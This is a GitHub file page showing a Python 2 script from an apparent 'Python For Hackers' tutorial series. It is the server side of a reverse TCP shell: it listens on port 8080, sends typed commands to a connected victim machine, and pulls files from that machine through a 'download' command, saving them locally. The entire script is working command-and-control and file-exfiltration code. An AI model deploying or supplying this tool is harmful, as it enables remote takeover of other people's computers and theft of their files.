-
Notifications
You must be signed in to change notification settings - Fork 72
Expand file tree
/
Copy pathDownloading-Data-TCP-Shell-Server.py
More file actions
57 lines (45 loc) · 1.42 KB
/
Downloading-Data-TCP-Shell-Server.py
File metadata and controls
57 lines (45 loc) · 1.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Python For Hackers - Priyank Gada
# Downloading Data TCP Shell - Server Side .
# www.youtube.com/priyankgada
import socket
import os # Again OS Like in the client side for file operations.
# Transfer Function
# Downloaded file will be stored as PNG file on desktop
# If DONE then f.close
def transfer(conn,command):
conn.send(command)
f = open('/root/Desktop/test.png','wb')
while True:
bits = conn.recv(1024)
if 'Unable to find out the file' in bits:
print '[-] Unable to find out the file'
break
if bits.endswith('DONE'):
print '[+] Transfer completed '
f.close()
break
f.write(bits)
# Old Shell for command execution
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.10.10.10", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
while True:
command = raw_input("Shell> ")
if 'terminate' in command:
conn.send('terminate')
conn.close()
break
# setting the download keyword
elif 'download' in command:
transfer(conn,command)
else:
conn.send(command)
print conn.recv(1024)
def main ():
connect()
main()
#end :) Subscribe to my channel.